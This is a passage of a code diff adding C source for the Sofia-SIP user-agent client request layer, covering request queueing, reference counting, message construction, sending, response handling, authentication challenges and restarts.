+  if (tags && cr->cr_tags == NULL)
+    cr->cr_tags = tl_tlist(nh->nh_home, TAG_NEXT(tags));
+
+#if HAVE_MEMLEAK_LOG
+  SU_DEBUG_0(("%p %s() for %s\n", cr, __func__, cr->cr_methods->crm_method_name));
+#endif
+
+  if (nua_client_request_queue(cr))
+    return 0;
+
+  return nua_client_init_request(cr);
+}
+
+int nua_client_tcreate(nua_handle_t *nh,
+		       int event,
+		       nua_client_methods_t const *methods,
+		       tag_type_t tag, tag_value_t value, ...)
+{
+  int retval;
+  ta_list ta;
+  ta_start(ta, tag, value);
+  retval = nua_client_create(nh, event, methods, ta_args(ta));
+  ta_end(ta);
+  return retval;
+}
+
+#if HAVE_MEMLEAK_LOG
+nua_client_request_t *
+nua_client_request_ref_by(nua_client_request_t *cr,
+			  char const *where, unsigned line, char const *who)
+{
+  SU_DEBUG_0(("%p ref %s to %u by %s:%u: %s()\n",
+	      cr, cr->cr_methods->crm_method_name,
+	      ++(cr->cr_refs), where, line, who));
+  return cr;
+}
+
+int nua_client_request_unref_by(nua_client_request_t *cr,
+				char const *where, unsigned line, char const *who)
+{
+  SU_DEBUG_0(("%p unref %s to %u by %s:%u: %s()\n",
+	      cr, cr->cr_methods->crm_method_name,
+	      cr->cr_refs - 1, where, line, who));
+
+  if (cr->cr_refs > 1) {
+    cr->cr_refs--;
+    return 0;
+  }
+  else {
+    cr->cr_refs = 0;
+    nua_client_request_destroy(cr);
+    return 1;
+  }
+}
+#else
+nua_client_request_t *nua_client_request_ref(nua_client_request_t *cr)
+{
+  cr->cr_refs++;
+  return cr;
+}
+
+int nua_client_request_unref(nua_client_request_t *cr)
+{
+  if (cr->cr_refs > 1) {
+    cr->cr_refs--;
+    return 0;
+  }
+  else {
+    cr->cr_refs = 0;
+    nua_client_request_destroy(cr);
+    return 1;
+  }
+}
+#endif
+
+int nua_client_request_queue(nua_client_request_t *cr)
+{
+  int queued = 0;
+  nua_client_request_t **queue = &cr->cr_owner->nh_ds->ds_cr;
+
+  assert(cr->cr_prev == NULL && cr->cr_next == NULL);
+
+  cr->cr_status = 0;
+
+  nua_client_request_ref(cr);
+
+  if (cr->cr_method != sip_method_invite &&
+      cr->cr_method != sip_method_cancel) {
+    while (*queue) {
+      if ((*queue)->cr_method == sip_method_invite ||
+	  (*queue)->cr_method == sip_method_cancel)
+	break;
+      queue = &(*queue)->cr_next;
+      queued = 1;
+    }
+  }
+  else {
+    while (*queue) {
+      queue = &(*queue)->cr_next;
+      if (cr->cr_method == sip_method_invite)
+	queued = 1;
+    }
+  }
+
+  if ((cr->cr_next = *queue))
+    cr->cr_next->cr_prev = &cr->cr_next;
+
+  cr->cr_prev = queue, *queue = cr;
+
+  return queued;
+}
+
+int
+nua_client_request_remove(nua_client_request_t *cr)
+{
+  int retval = 0;
+  int in_queue = cr->cr_prev != NULL;
+
+  if (in_queue) {
+    if ((*cr->cr_prev = cr->cr_next))
+      cr->cr_next->cr_prev = cr->cr_prev;
+  }
+  cr->cr_prev = NULL, cr->cr_next = NULL;
+
+  if (cr->cr_timer) {
+    su_timer_destroy(cr->cr_timer), cr->cr_timer = NULL;
+    retval = nua_client_request_unref(cr);
+  }
+
+  if (!in_queue)
+    return retval;
+
+  return nua_client_request_unref(cr);
+}
+
+int
+nua_client_request_clean(nua_client_request_t *cr)
+{
+  if (cr->cr_orq) {
+    nta_outgoing_destroy(cr->cr_orq), cr->cr_orq = NULL, cr->cr_acked = 0;
+    return nua_client_request_unref(cr);
+  }
+  return 0;
+}
+
+int
+nua_client_request_complete(nua_client_request_t *cr)
+{
+  if (cr->cr_orq) {
+    nua_client_request_ref(cr);
+    if (cr->cr_methods->crm_complete)
+      /* Calls nua_invite_client_complete() */
+      cr->cr_methods->crm_complete(cr);
+    nua_client_request_clean(cr);
+    if (nua_client_request_unref(cr))
+      return 1;
+  }
+
+  return nua_client_request_remove(cr);
+}
+
+static void
+nua_client_request_destroy(nua_client_request_t *cr)
+{
+  nua_handle_t *nh;
+
+  if (cr == NULL)
+    return;
+
+  /* Possible references: */
+  assert(cr->cr_prev == NULL);	/* queue */
+  assert(cr->cr_orq == NULL);	/* transaction callback */
+  assert(cr->cr_timer == NULL);	/* timer callback */
+
+  nh = cr->cr_owner;
+
+  nua_destroy_signal(cr->cr_signal);
+
+  nua_client_bind(cr, NULL);
+
+#if HAVE_MEMLEAK_LOG
+  SU_DEBUG_0(("%p %s for %s\n", cr, __func__, cr->cr_methods->crm_method_name));
+#endif
+
+  if (cr->cr_msg)
+    msg_destroy(cr->cr_msg);
+  cr->cr_msg = NULL, cr->cr_sip = NULL;
+
+  if (cr->cr_orq)
+    nta_outgoing_destroy(cr->cr_orq), cr->cr_orq = NULL;
+
+  if (cr->cr_target)
+    su_free(nh->nh_home, cr->cr_target);
+
+  su_free(nh->nh_home, cr);
+
+  nua_handle_unref(nh);
+}
+
+/** Bind client request to a dialog usage */
+int nua_client_bind(nua_client_request_t *cr, nua_dialog_usage_t *du)
+{
+  assert(cr);
+  if (cr == NULL)
+    return -1;
+
+  if (du == NULL) {
+    du = cr->cr_usage;
+    cr->cr_usage = NULL;
+    if (du && du->du_cr == cr) {
+      du->du_cr = NULL;
+      nua_client_request_unref(cr);
+    }
+    return 0;
+  }
+
+  if (du->du_cr && cr == du->du_cr)
+    return 0;
+
+  if (du->du_cr) {
+    nua_client_bind(du->du_cr, NULL);
+  }
+
+  du->du_cr = nua_client_request_ref(cr), cr->cr_usage = du;
+
+  return 0;
+}
+
+/** Check if client request is in progress.
+ *
+ * A client request is in progress, if
+ * 1) it has actual transaction going on
+ * 2) it is waiting credentials from application
+ * 3) it is waiting for Retry-After timer
+ */
+int
+nua_client_request_in_progress(nua_client_request_t const *cr)
+{
+  return cr &&
+    (cr->cr_orq || cr->cr_wait_for_cred || cr->cr_timer);
+}
+
+/**Initialize client request for sending.
+ *
+ * This function is called when the request is taken from queue and sent.
+ *
+ * @retval 0 if request is pending
+ * @retval >=1 if error event has been sent
+ */
+int nua_client_init_request(nua_client_request_t *cr)
+{
+  int retval;
+  nua_client_request_ref(cr);
+  retval = nua_client_init_request0(cr);
+  nua_client_request_unref(cr);
+  return retval;
+}
+
+/**Initialize client request for sending.
+ *
+ * This function is called when the request is taken from queue and sent.
+ *
+ * @retval 0 if request is pending
+ * @retval >=1 if error event has been sent
+ */
+static
+int nua_client_init_request0(nua_client_request_t *cr)
+{
+  nua_handle_t *nh = cr->cr_owner;
+  nua_t *nua = nh->nh_nua;
+  nua_dialog_state_t *ds = nh->nh_ds;
+  msg_t *msg = NULL;
+  sip_t *sip;
+  url_string_t const *url = NULL;
+  tagi_t const *t;
+  int has_contact = 0;
+  int error = 0;
+
+  if (!cr->cr_method_name)
+    return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), NULL);
+
+  if (cr->cr_msg)
+    return nua_client_request_try(cr);
+
+  cr->cr_answer_recv = 0, cr->cr_offer_sent = 0;
+  cr->cr_offer_recv = 0, cr->cr_answer_sent = 0;
+  cr->cr_terminated = 0, cr->cr_graceful = 0;
+
+  nua_stack_init_handle(nua, nh, cr->cr_tags);
+
+  if (cr->cr_method == sip_method_cancel) {
+    if (cr->cr_methods->crm_init) {
+      error = cr->cr_methods->crm_init(cr, NULL, NULL, cr->cr_tags);
+      if (error)
+	return error;
+    }
+
+    if (cr->cr_methods->crm_send)
+      return cr->cr_methods->crm_send(cr, NULL, NULL, cr->cr_tags);
+    else
+      return nua_base_client_request(cr, NULL, NULL, cr->cr_tags);
+  }
+
+  if (!cr->cr_methods->crm_template ||
+      cr->cr_methods->crm_template(cr, &msg, cr->cr_tags) == 0)
+    msg = nua_client_request_template(cr);
+
+  sip = sip_object(msg);
+  if (!sip)
+    return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
+
+  if (nh->nh_tags) {
+    for (t = nh->nh_tags; t; t = t_next(t)) {
+      if (t->t_tag == siptag_contact ||
+	  t->t_tag == siptag_contact_str)
+	has_contact = 1;
+      else if (t->t_tag == nutag_url)
+	url = (url_string_t const *)t->t_value;
+    }
+  }
+
+  /**@par Populating SIP Request Message with Tagged Arguments
+   *
+   * The tagged arguments can be used to pass values for any SIP headers
+   * to the stack. When the INVITE message (or any other SIP message) is
+   * created, the tagged values saved with nua_handle() are used first,
+   * next the tagged values given with the operation (nua_invite()) are
+   * added.
+   *
+   * When multiple tags for the same header are specified, the behaviour
+   * depends on the header type. If only a single header field can be
+   * included in a SIP message, the latest non-NULL value is used, e.g.,
+   * @Subject. However, if the SIP header can consist of multiple lines or
+   * header fields separated by comma, e.g., @Accept, all the tagged
+   * values are concatenated.
+   *
+   * However, if a tag value is #SIP_NONE (-1 casted as a void pointer),
+   * the values from previous tags are ignored.
+   */
+  for (t = cr->cr_tags; t; t = t_next(t)) {
+    if (t->t_tag == siptag_contact ||
+	t->t_tag == siptag_contact_str)
+      has_contact = 1;
+    else if (t->t_tag == nutag_url)
+      url = (url_string_t const *)t->t_value;
+    else if (t->t_tag == nutag_dialog) {
+      cr->cr_dialog = t->t_value > 1;
+      cr->cr_contactize = t->t_value >= 1;
+    }
+    else if (t->t_tag == nutag_auth && t->t_value) {
+      /* XXX ignoring errors */
+      if (nh->nh_auth)
+	auc_credentials(&nh->nh_auth, nh->nh_home, (char *)t->t_value);
+    }
+  }
+
+  if (cr->cr_method == sip_method_register && url == NULL)
+    url = (url_string_t const *)NH_PGET(nh, registrar);
+
+  if ((t = cr->cr_tags)) {
+    if (sip_add_tagis(msg, sip, &t) < 0)
+      return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
+  }
+
+  /**
+   * Now, the target URI for the request needs to be determined.
+   *
+   * For initial requests, values from tags are used. If NUTAG_URL() is
+   * given, it is used as target URI. Otherwise, if SIPTAG_TO() is given,
+   * it is used as target URI. If neither is given, the complete request
+   * line already specified using SIPTAG_REQUEST() or SIPTAG_REQUEST_STR()
+   * is used. At this point, the target URI is stored in the request line,
+   * together with method name and protocol version ("SIP/2.0"). The
+   * initial dialog information is also created: @CallID, @CSeq headers
+   * are generated, if they do not exist, and a tag is added to the @From
+   * header.
+   */
+
+  if (!ds->ds_leg) {
+    if (ds->ds_remote_tag && ds->ds_remote_tag[0] &&
+	sip_to_tag(nh->nh_home, sip->sip_to, ds->ds_remote_tag) < 0)
+      return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
+
+    if (sip->sip_from == NULL &&
+	sip_add_dup(msg, sip, (sip_header_t *)nua->nua_from) < 0)
+      return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
+
+    if (sip->sip_to == NULL && cr->cr_method == sip_method_register &&
+      sip_add_dup_as(msg, sip, sip_to_class,
+		     (sip_header_t *)sip->sip_from) < 0) {
+      return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
+    }
+  }
+  else {
+    if (ds->ds_route)
+      url = NULL;
+  }
+
+  if (url && nua_client_set_target(cr, (url_t *)url) < 0)
+    return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
+
+  cr->cr_has_contact = has_contact;
+
+  if (cr->cr_methods->crm_init) {
+    error = cr->cr_methods->crm_init(cr, msg, sip, cr->cr_tags);
+    if (error < -1)
+      msg = NULL;
+    if (error < 0)
+      return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
+    if (error != 0)
+      return error;
+  }
+
+  cr->cr_msg = msg;
+  cr->cr_sip = sip;
+
+  return nua_client_request_try(cr);
+}
+
+msg_t *nua_client_request_template(nua_client_request_t *cr)
+{
+  nua_handle_t *nh = cr->cr_owner;
+  nua_t *nua = nh->nh_nua;
+  nua_dialog_state_t *ds = nh->nh_ds;
+
+  msg_t *msg = nta_msg_create(nua->nua_nta, 0);
+  sip_t *sip = sip_object(msg);
+
+  if (!sip)
+    return NULL;
+
+  if (nh->nh_tags) {
+    tagi_t const *t = nh->nh_tags;
+
+    /* Use the From header from the dialog.
+       If From is set, it is always first tag in the handle */
+    if (ds->ds_leg && t->t_tag == siptag_from)
+      t++;
+
+    /* When the INVITE message (or any other SIP message) is
+     * created, the tagged values saved with nua_handle() are used first. */
+    sip_add_tagis(msg, sip, &t);
+  }
+
+  return msg;
+}
+
+
+/** Restart the request message.
+ *
+ * A restarted request has not been completed successfully.
+ *
+ * @retval 0 if request is pending
+ * @retval >=1 if error event has been sent
+ */
+int nua_client_restart_request(nua_client_request_t *cr,
+			      int terminating,
+			      tagi_t const *tags)
+{
+  if (cr) {
+    assert(nua_client_is_queued(cr));
+
+    if (tags && cr->cr_msg)
+      if (sip_add_tagis(cr->cr_msg, NULL, &tags) < 0)
+	/* XXX */;
+
+    nua_client_set_terminating(cr, terminating);
+
+    return nua_client_request_try(cr);
+  }
+
+  return 0;
+}
+
+/** Resend the request message.
+ *
+ * A resent request has completed once successfully - restarted has not.
+ *
+ * @retval 0 if request is pending
+ * @retval >=1 if error event has been sent
+ */
+int nua_client_resend_request(nua_client_request_t *cr,
+			      int terminating)
+{
+  if (cr) {
+    cr->cr_retry_count = 0;
+    cr->cr_challenged = 0;
+
+    if (nua_client_is_queued(cr)) {
+      if (terminating)
+	cr->cr_graceful = 1;
+      return 0;
+    }
+
+    if (terminating)
+      nua_client_set_terminating(cr, terminating);
+
+    if (nua_client_request_queue(cr))
+      return 0;
+
+    if (nua_dialog_is_reporting(cr->cr_owner->nh_ds))
+      return 0;
+
+    return nua_client_request_try(cr);
+  }
+  return 0;
+}
+
+
+/** Send a request message.
+ *
+ * If an error occurs, send error event to the application.
+ *
+ * @retval 0 if request is pending
+ * @retval >=1 if error event has been sent
+ */
+static
+int nua_client_request_try(nua_client_request_t *cr)
+{
+  int error = nua_client_request_sendmsg(cr);
+
+  if (error < 0)
+    error = nua_client_response(cr, NUA_ERROR_AT(__FILE__, __LINE__), NULL);
+
+  return error;
+}
+
+/**Send a request message.
+ *
+ * @retval 0 if request is pending
+ * @retval >=1 if error event has been sent
+ * @retval < 0 if no error event has been sent
+ */
+static
+int nua_client_request_sendmsg(nua_client_request_t *cr)
+{
+  nua_handle_t *nh = cr->cr_owner;
+  nua_dialog_state_t *ds = nh->nh_ds;
+  sip_method_t method = cr->cr_method;
+  char const *name = cr->cr_method_name;
+  url_string_t const *url = (url_string_t *)cr->cr_target;
+  nta_leg_t *leg;
+  msg_t *msg;
+  sip_t *sip;
+  int error;
+
+  assert(cr->cr_orq == NULL);
+
+  cr->cr_offer_sent = cr->cr_answer_recv = 0;
+  cr->cr_offer_recv = cr->cr_answer_sent = 0;
+
+  if (!ds->ds_leg && cr->cr_dialog) {
+    ds->ds_leg = nta_leg_tcreate(nh->nh_nua->nua_nta,
+				 nua_stack_process_request, nh,
+				 SIPTAG_CALL_ID(cr->cr_sip->sip_call_id),
+				 SIPTAG_FROM(cr->cr_sip->sip_from),
+				 SIPTAG_TO(cr->cr_sip->sip_to),
+				 SIPTAG_CSEQ(cr->cr_sip->sip_cseq),
+				 TAG_END());
+    if (!ds->ds_leg)
+      return -1;
+  }
+
+  if (cr->cr_sip->sip_from && ds->ds_leg) {
+    if (cr->cr_sip->sip_from->a_tag == NULL) {
+      if (sip_from_tag(msg_home(cr->cr_msg), cr->cr_sip->sip_from,
+		       nta_leg_tag(ds->ds_leg, NULL)) < 0) {
+	return -1;
+      }
+    }
+  }
+
+  cr->cr_retry_count++;
+
+  if (ds->ds_leg)
+    leg = ds->ds_leg;
+  else
+    leg = nh->nh_nua->nua_dhandle->nh_ds->ds_leg; /* Default leg */
+
+  msg = msg_copy(cr->cr_msg), sip = sip_object(msg);
+
+  if (msg == NULL)
+    return -1;
+
+  if (nua_dialog_is_established(ds)) {
+    while (sip->sip_route)
+      sip_route_remove(msg, sip);
+  }
+  else if (!ds->ds_route) {
+    sip_route_t *initial_route = NH_PGET(nh, initial_route);
+
+    if (initial_route) {
+      initial_route = sip_route_dup(msg_home(msg), initial_route);
+      if (!initial_route) return -1;
+      msg_header_prepend(msg, (msg_pub_t*)sip,
+			 /* This should be
+			    (msg_header_t **)&sip->sip_route
+			  * but directly casting pointer &sip->sip_route gives
+			  * spurious type-punning warning */
+			 (msg_header_t **)((char *)sip + offsetof(sip_t, sip_route)),
+			 (msg_header_t *)initial_route);
+    }
+  }
+
+
+  /**
+   * For in-dialog requests, the request URI is taken from the @Contact
+   * header received from the remote party during dialog establishment,
+   * and the NUTAG_URL() is ignored.
+   *
+   * Also, the @CallID and @CSeq headers and @From and @To tags are
+   * generated based on the dialog information and added to the request.
+   * If the dialog has a route, it is added to the request, too.
+   */
+  if (nta_msg_request_complete(msg, leg, method, name, url) < 0) {
+    msg_destroy(msg);
+    return -1;
+  }
+
+  /**@MaxForwards header (with default value set by NTATAG_MAX_FORWARDS()) is
+   * also added now, if it does not exist.
+   */
+
+  if (!ds->ds_remote)
+    ds->ds_remote = sip_to_dup(nh->nh_home, sip->sip_to);
+  if (!ds->ds_local)
+    ds->ds_local = sip_from_dup(nh->nh_home, sip->sip_from);
+
+  /**
+   * Next, values previously set with nua_set_params() or nua_set_hparams()
+   * are used: @Allow, @Supported, @Organization, @UserAgent and
+   * @AllowEvents headers are added to the request if they are not already
+   * set.
+   */
+  if (!sip->sip_allow)
+    sip_add_dup(msg, sip, (sip_header_t*)NH_PGET(nh, allow));
+
+  if (!sip->sip_supported && NH_PGET(nh, supported))
+    sip_add_dup(msg, sip, (sip_header_t *)NH_PGET(nh, supported));
+
+  if (method == sip_method_register && NH_PGET(nh, path_enable) &&
+      !sip_has_feature(sip->sip_supported, "path") &&
+      !sip_has_feature(sip->sip_require, "path"))
+    sip_add_make(msg, sip, sip_supported_class, "path");
+
+  if (!sip->sip_organization && NH_PGET(nh, organization))
+    sip_add_make(msg, sip, sip_organization_class, NH_PGET(nh, organization));
+
+  if (!sip->sip_user_agent && NH_PGET(nh, user_agent))
+    sip_add_make(msg, sip, sip_user_agent_class, NH_PGET(nh, user_agent));
+
+  /** Any node implementing one or more event packages SHOULD include an
+   * appropriate @AllowEvents header indicating all supported events in
+   * all methods which initiate dialogs and their responses (such as
+   * INVITE) and OPTIONS responses.
+   */
+  if (!sip->sip_allow_events &&
+      NH_PGET(nh, allow_events) &&
+      (method == sip_method_notify || /* Always in NOTIFY */
+       (!ds->ds_remote_tag &&	      /* And in initial requests */
+	(method == sip_method_subscribe || method == sip_method_refer ||
+	 method == sip_method_options ||
+	 method == sip_method_invite))))
+    sip_add_dup(msg, sip, (void *)NH_PGET(nh, allow_events));
+
+  /**
+   * Next, the stack generates a @Contact header for the request (unless
+   * the application already gave a @Contact header or it does not want to
+   * use @Contact and indicates that by including SIPTAG_CONTACT(NULL) or
+   * SIPTAG_CONTACT(SIP_NONE) in the tagged parameters.) If the
+   * application has registered the URI in @From header, the @Contact
+   * header used with registration is used. Otherwise, the @Contact header
+   * is generated from the local IP address and port number.
+   */
+
+  /**For the initial requests, @ServiceRoute set that was received from the
+   * registrar is also added to the request message.
+   */
+  if (cr->cr_method != sip_method_register) {
+    if (cr->cr_contactize && cr->cr_has_contact) {
+      sip_contact_t *ltarget = sip_contact_dup(nh->nh_home, sip->sip_contact);
+      if (ds->ds_ltarget)
+	msg_header_free(nh->nh_home, (msg_header_t *)ds->ds_ltarget);
+      ds->ds_ltarget = ltarget;
+    }
+
+    if (ds->ds_ltarget && !cr->cr_has_contact)
+      sip_add_dup(msg, sip, (sip_header_t *)ds->ds_ltarget);
+
+    if (nua_registration_add_contact_to_request(nh, msg, sip,
+						cr->cr_contactize &&
+						!cr->cr_has_contact &&
+						!ds->ds_ltarget,
+						!ds->ds_route) < 0) {
+      msg_destroy(msg);
+      return -1;
+    }
+  }
+
+  cr->cr_wait_for_cred = 0;
+
+  if (cr->cr_methods->crm_send)
+    error = cr->cr_methods->crm_send(cr, msg, sip, NULL);
+  else
+    error = nua_base_client_request(cr, msg, sip, NULL);
+
+  if (error == -1)
+    msg_destroy(msg);
+
+  return error;
+}
+
+/**Add tags to request message and send it,
+ *
+ * @retval 0 success
+ * @retval -1 if error occurred, but event has not been sent
+ * @retval -2 if error occurred, event has not been sent,
+ *            and @a msg has been destroyed
+ * @retval >=1 if error event has been sent
+ */
+int nua_base_client_trequest(nua_client_request_t *cr,
+			     msg_t *msg, sip_t *sip,
+			     tag_type_t tag, tag_value_t value, ...)
+{
+  int retval;
+  ta_list ta;
+  ta_start(ta, tag, value);
+  retval = nua_base_client_request(cr, msg, sip, ta_args(ta));
+  ta_end(ta);
+  return retval;
+}
+
+/** Send request.
+ *
+ * @retval 0 success
+ * @retval -1 if error occurred, but event has not been sent,
+ *            and caller has to destroy request message @ msg
+ * @retval -2 if error occurred, event has not been sent
+ * @retval >=1 if error event has been sent
+ */
+int nua_base_client_request(nua_client_request_t *cr, msg_t *msg, sip_t *sip,
+			    tagi_t const *tags)
+{
+  nua_handle_t *nh = cr->cr_owner;
+  int proxy_is_set = NH_PISSET(nh, proxy);
+  url_string_t * proxy = NH_PGET(nh, proxy);
+
+  if (nh->nh_auth) {
+    if (cr->cr_challenged ||
+	NH_PGET(nh, auth_cache) == nua_auth_cache_dialog) {
+      if (auc_authorize(&nh->nh_auth, msg, sip) < 0)
+	return nua_client_return(cr, 900, "Cannot add credentials", msg);
+    }
+  }
+
+  cr->cr_seq = sip->sip_cseq->cs_seq; /* Save last sequence number */
+
+  assert(cr->cr_orq == NULL);
+
+  cr->cr_orq = nta_outgoing_mcreate(nh->nh_nua->nua_nta,
+				    nua_client_orq_response,
+				    nua_client_request_ref(cr),
+				    NULL,
+				    msg,
+				    TAG_IF(proxy_is_set,
+					   NTATAG_DEFAULT_PROXY(proxy)),
+				    TAG_NEXT(tags));
+
+  if (cr->cr_orq == NULL) {
+    nua_client_request_unref(cr);
+    return -1;
+  }
+
+  return 0;
+}
+
+/** Callback for nta client transaction */
+int
+nua_client_orq_response(nua_client_request_t *cr,
+			nta_outgoing_t *orq,
+			sip_t const *sip)
+{
+  int status;
+  char const *phrase;
+
+  if (sip && sip->sip_status) {
+    status = sip->sip_status->st_status;
+    phrase = sip->sip_status->st_phrase;
+  }
+  else {
+    status = nta_outgoing_status(orq);
+    phrase = "";
+  }
+
+  nua_client_response(cr, status, phrase, sip);
+
+  return 0;
+}
+
+/**Return response to the client request.
+ *
+ * Return a response generated by the stack. This function is used to return
+ * a error response within @a nua_client_methods_t#crm_init or @a
+ * nua_client_methods_t#crm_send functions. It takes care of disposing the @a
+ * to_be_destroyed that cannot be sent.
+ *
+ * @retval 0 if response event was preliminary
+ * @retval 1 if response event was final
+ * @retval 2 if response event destroyed the handle, too.
+ */
+int nua_client_return(nua_client_request_t *cr,
+		      int status,
+		      char const *phrase,
+		      msg_t *to_be_destroyed)
+{
+  if (to_be_destroyed)
+    msg_destroy(to_be_destroyed);
+  nua_client_response(cr, status, phrase, NULL);
+  return 1;
+}
+
+/** Process response to the client request.
+ *
+ * The response can be generated by the stack (@a sip is NULL) or
+ * returned by the remote server.
+ *
+ * @retval 0 if response event was preliminary
+ * @retval 1 if response event was final
+ * @retval 2 if response event destroyed the handle, too.
+ */
+int nua_client_response(nua_client_request_t *cr,
+			int status,
+			char const *phrase,
+			sip_t const *sip)
+{
+  nua_handle_t *nh = cr->cr_owner;
+  nua_dialog_usage_t *du = cr->cr_usage;
+  int retval = 0;
+
+  if (cr->cr_restarting)
+    return 0;
+
+  nua_client_request_ref(cr);
+
+  cr->cr_status = status;
+  cr->cr_phrase = phrase;
+
+  if (status < 200) {
+    /* Xyzzy */
+  }
+  else if (sip && nua_client_check_restart(cr, status, phrase, sip)) {
+    nua_client_request_unref(cr);
+    return 0;
+  }
+  else if (status < 300) {
+    if (cr->cr_terminating) {
+      cr->cr_terminated = 1;
+    }
+    else {
+      if (sip) {
+	if (cr->cr_contactize)
+	  nua_dialog_uac_route(nh, nh->nh_ds, sip, 1, cr->cr_initial);
+	nua_dialog_store_peer_info(nh, nh->nh_ds, sip);
+      }
+
+      if (du && du->du_cr == cr)
+	du->du_ready = 1;
+    }
+  }
+  else {
+    sip_method_t method = cr->cr_method;
+    int terminated, graceful = 1;
+
+    if (status < 700)
+      terminated = sip_response_terminates_dialog(status, method, &graceful);
+    else
+      /* XXX - terminate usage by all internal error responses */
+      terminated = 0, graceful = 1;
+
+    if (terminated < 0)
+      cr->cr_terminated = terminated;
+    else if (cr->cr_terminating || terminated)
+      cr->cr_terminated = 1;
+    else if (graceful)
+      cr->cr_graceful = 1;
+  }
+
+  if (status < 200) {
+    if (cr->cr_methods->crm_preliminary)
+      cr->cr_methods->crm_preliminary(cr, status, phrase, sip);
+    else
+      nua_base_client_response(cr, status, phrase, sip, NULL);
+    cr->cr_phrase = NULL;
+  }
+  else {
+    if (cr->cr_methods->crm_recv)
+      retval = cr->cr_methods->crm_recv(cr, status, phrase, sip);
+    else
+      retval = nua_base_client_response(cr, status, phrase, sip, NULL);
+  }
+
+  nua_client_request_unref(cr);
+
+  return retval;
+}
+
+/** Check if request should be restarted.
+ *
+ * @retval 1 if restarted or waiting for restart
+ * @retval 0 otherwise
+ */
+int nua_client_check_restart(nua_client_request_t *cr,
+			     int status,
+			     char const *phrase,
+			     sip_t const *sip)
+{
+  nua_handle_t *nh;
+
+  assert(cr && status >= 200 && phrase && sip);
+
+  nh = cr->cr_owner;
+
+  if (cr->cr_retry_count > NH_PGET(nh, retry_count))
+    return 0;
+
+  if (cr->cr_methods->crm_check_restart)
+    return cr->cr_methods->crm_check_restart(cr, status, phrase, sip);
+  else
+    return nua_base_client_check_restart(cr, status, phrase, sip);
+}
+
+int nua_base_client_check_restart(nua_client_request_t *cr,
+				  int status,
+				  char const *phrase,
+				  sip_t const *sip)
+{
+  nua_handle_t *nh = cr->cr_owner;
+  nta_outgoing_t *orq;
+#if 0
+  if (status == 302 || status == 305) {
+    sip_route_t r[1];
+
+    if (!can_redirect(sip->sip_contact, cr->cr_method))
+      return 0;
+
+    switch (status) {
+    case 302:
+      if (nua_dialog_zap(nh, nh->nh_ds) == 0 &&
+	  nua_client_set_target(cr, sip->sip_contact->m_url) >= 0)
+	return nua_client_restart(cr, 100, "Redirected");
+      break;
+
+    case 305:
+      sip_route_init(r);
+      *r->r_url = *sip->sip_contact->m_url;
+      if (nua_dialog_zap(nh, nh->nh_ds) == 0 &&
+	  sip_add_dup(cr->cr_msg, cr->cr_sip, (sip_header_t *)r) >= 0)
+	return nua_client_restart(cr, 100, "Redirected via a proxy");
+      break;
+
+    default:
+      break;
+    }
+  }
+#endif
+
+  if (status == 423) {
+    unsigned my_expires = 0;
+
+    if (cr->cr_sip->sip_expires)
+      my_expires = cr->cr_sip->sip_expires->ex_delta;
+
+    if (sip->sip_min_expires &&
+	sip->sip_min_expires->me_delta > my_expires) {
+      sip_expires_t ex[1];
+      sip_expires_init(ex);
+      ex->ex_delta = sip->sip_min_expires->me_delta;
+
+      if (sip_add_dup(cr->cr_msg, NULL, (sip_header_t *)ex) < 0)
+	return 0;
+
+      return nua_client_restart(cr, 100, "Re-Negotiating Expiration");
+    }
+  }
+
+  if ((status == 401 && sip->sip_www_authenticate) ||
+      (status == 407 && sip->sip_proxy_authenticate)) {
+    int server = 0, proxy = 0;
+
+    if (sip->sip_www_authenticate)
+      server = auc_challenge(&nh->nh_auth, nh->nh_home,
+			     sip->sip_www_authenticate,
+			     sip_authorization_class);
+
+    if (sip->sip_proxy_authenticate)
+      proxy = auc_challenge(&nh->nh_auth, nh->nh_home,
+			    sip->sip_proxy_authenticate,
+			    sip_proxy_authorization_class);
+
+    if (server >= 0 && proxy >= 0) {
+      int invalid = cr->cr_challenged && server + proxy == 0;
+
+      cr->cr_challenged = 1;
+
+      if (invalid) {
+	/* Bad username/password */
+	SU_DEBUG_7(("nua(%p): bad credentials, clearing them\n", (void *)nh));
+	auc_clear_credentials(&nh->nh_auth, NULL, NULL);
+      }
+      else if (auc_has_authorization(&nh->nh_auth))
+	return nua_client_restart(cr, 100, "Request Authorized by Cache");
+
+      orq = cr->cr_orq, cr->cr_orq = NULL;
+
+      cr->cr_waiting = cr->cr_wait_for_cred = 1;
+      nua_client_report(cr, status, phrase, NULL, orq, NULL);
+      nta_outgoing_destroy(orq);
+      cr->cr_status = 0, cr->cr_phrase = NULL;
+      nua_client_request_unref(cr);
+
+      return 1;
+    }
+  }
+
+  if (0 && 500 <= status && status < 600 &&
+      sip->sip_retry_after &&
+      sip->sip_retry_after->af_delta < 32) {
+    su_timer_t *timer;
+    char phrase[18];		/* Retry After XXXX\0 */
+
+    timer = su_timer_create(su_root_task(nh->nh_nua->nua_root), 0);
+
+    if (su_timer_set_interval(timer, nua_client_restart_after, cr,
+			      sip->sip_retry_after->af_delta * 1000) < 0) {
+      su_timer_destroy(timer);
+      return 0; /* Too bad */
+    }
+
+    cr->cr_timer = timer;	/* This takes over cr reference from orq */
+
+    snprintf(phrase, sizeof phrase, "Retry After %u",
+	     (unsigned)sip->sip_retry_after->af_delta);
+
+    orq = cr->cr_orq, cr->cr_orq = NULL;
+    cr->cr_waiting = 1;
+    nua_client_report(cr, 100, phrase, NULL, orq, NULL);
+    nta_outgoing_destroy(orq);
+    cr->cr_status = 0, cr->cr_phrase = NULL;
+
+    return 1;
+  }
+
+  return 0;  /* This was a final response that cannot be restarted. */
+}
+
+su_inline
+int can_redirect(sip_contact_t const *m, sip_method_t method)
+{
+  if (m && m->m_url->url_host) {
+    enum url_type_e type = (enum url_type_e)m->m_url->url_type;
+    return
+      type == url_sip ||
+      type == url_sips ||
+      (type == url_tel &&
+       (method == sip_method_invite || method == sip_method_message)) ||
+      (type == url_im && method == sip_method_message) ||
+      (type == url_pres && method == sip_method_subscribe);
+  }
+  return 0;
+}
+
+/** @internal Add authorization data */
